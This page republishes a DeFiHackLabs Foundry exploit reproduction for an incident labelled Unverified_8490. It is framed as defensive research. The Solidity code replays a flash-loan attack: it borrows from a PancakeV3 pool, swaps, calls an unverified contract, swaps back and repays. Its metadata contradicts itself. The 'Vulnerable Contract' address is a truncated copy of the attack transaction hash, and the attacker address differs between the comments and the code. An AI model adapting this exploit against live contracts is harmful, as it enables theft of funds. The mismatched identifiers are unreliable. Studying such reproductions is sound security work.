Public reproduction file
src/test/2025-06/unverified_8490_exp.sol
Public reproduction file for dataset entry Unverified_8490.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : 48.3K USD7// Attacker : 0x7248939f65bdd23aab9eaab1bc4a4f909567486e8// Attack Contract : https://etherscan.io/address/0xc59d50e26aee2ca34ae11f08924c0bc619728e7c9// Vulnerable Contract : 10// Attack Tx : https://bscscan.com/tx/0x9191153c8523d97f3441a08fef1da5e4169d9c2983db9398364071daa33f59d112// @Info13// Vulnerable Contract Code : 15// @Analysis16// Post-mortem : https://x.com/TenArmorAlert/status/193230901156478177417// Twitter Guy : https://x.com/TenArmorAlert/status/193230901156478177418// Hacking God : N/A20address constant PancakeV3Pool = 0xbaf9f711a39271701b837c5cC4F470d533bACf33;21address constant SmartRouter = 0x13f4EA83D0bd40E75C8222255bc855a974568Dd4;22address constant TransparentUpgradeableProxy = 0x8d0D000Ee44948FC98c9B98A4FA4921476f08B0d;23address constant Token = 0x0B9dDfCA570305128d347A263d7061E1eB774444;24address constant attacker = 0xF514C02048E9296D56d693F24dFC6780A2bdD18A;25address constant addr = 0x8490AA884Adb08a485BC8793C17296c9E2c91294;27interface IPancakeV3Pool_Local {28 function flash(address, uint256, uint256, bytes calldata) external;29}30struct ExactInputSingleParams {31 address tokenIn;32 address tokenOut;33 uint24 fee;34 address recipient;35 uint256 amountIn;36 uint256 amountOutMinimum;37 uint160 sqrtPriceLimitX96;38}39interface ISmartRouter {40 function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);41}42interface ITransparentUpgradeableProxy_Local {43 function approve(address, uint256) external returns (bool);44 function transfer(address, uint256) external returns (bool);45}46interface IToken_Local {47 function approve(address, uint256) external returns (bool);48 function balanceOf(address) external view returns (uint256);49}51contract ContractTest is Test {52 function setUp() public {53 vm.createSelectFork("bsc", 51190821);54 }56 function testPoC() public {57 vm.startPrank(attacker, attacker);58 AttackerC attC = new AttackerC();59 attC.attack();60 vm.stopPrank();61 emit log_named_decimal_uint("after attack: balance of address(attC)", IERC20(TransparentUpgradeableProxy).balanceOf(address(attC)), 18);62 }63}65contract AttackerC {68 function attack() public {69 if (tx.origin == attacker) {70 IPancakeV3Pool_Local(PancakeV3Pool).flash(address(this), 0, 9350 * 1e18, hex"00");71 }72 }74 function pancakeV3FlashCallback(uint256 /*amount0*/, uint256 /*amount1*/, bytes calldata /*data*/) external {75 ITransparentUpgradeableProxy_Local(TransparentUpgradeableProxy).approve(SmartRouter, 100000000000000000000000 * 1e18);76 {77 ISmartRouter(SmartRouter).exactInputSingle(78 ExactInputSingleParams({79 tokenIn: TransparentUpgradeableProxy,80 tokenOut: Token,81 fee: uint24(100),82 recipient: address(this),83 amountIn: 9350 * 1e18,84 amountOutMinimum: 0,85 sqrtPriceLimitX96: uint160(0)86 })87 );88 }89 (bool s, ) = addr.call(abi.encodeWithSelector(bytes4(0x5ff02eae)));90 require(s, "addr call fail");91 IToken_Local(Token).approve(SmartRouter, 100000000000000000000000000 * 1e18);92 uint256 bal = IToken_Local(Token).balanceOf(address(this));93 {94 ISmartRouter(SmartRouter).exactInputSingle(95 ExactInputSingleParams({96 tokenIn: Token,97 tokenOut: TransparentUpgradeableProxy,98 fee: uint24(100),99 recipient: address(this),100 amountIn: bal,101 amountOutMinimum: 0,102 sqrtPriceLimitX96: uint160(0)103 })104 );105 }106 ITransparentUpgradeableProxy_Local(TransparentUpgradeableProxy).transfer(PancakeV3Pool, 9350935 * 10**15);107 }108}Analysis
Dataset entry
Public Foundry test for “Unverified_8490” (2025-06-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
- src/test/2025-06/WaleCoin_exp.solSame month in the dataset · 121 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x7248939f65bdd23aab9eaab1bc4a4f909567486e
- Attack Contract
0xc59d50e26aee2ca34ae11f08924c0bc619728e7c
- Vulnerable Contract
0x9191153c8523d97f3441a08fef1da5e4169d9c29
- Attack Tx
0x9191153c8523d97f3441a08fef1da5e4169d9c2983db9398364071daa33f59d1
File record
- Name
- Unverified_8490
- Path
- src/test/2025-06/unverified_8490_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 07e64650cfff4a920e46c3bdf3a73076fb8a821b
- Language
- Solidity
- Size
- 108 lines
- Date
- 2025-06-10
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/unverified_8490_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 07e64650cfff4a920e46c3bdf3a73076fb8a821b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.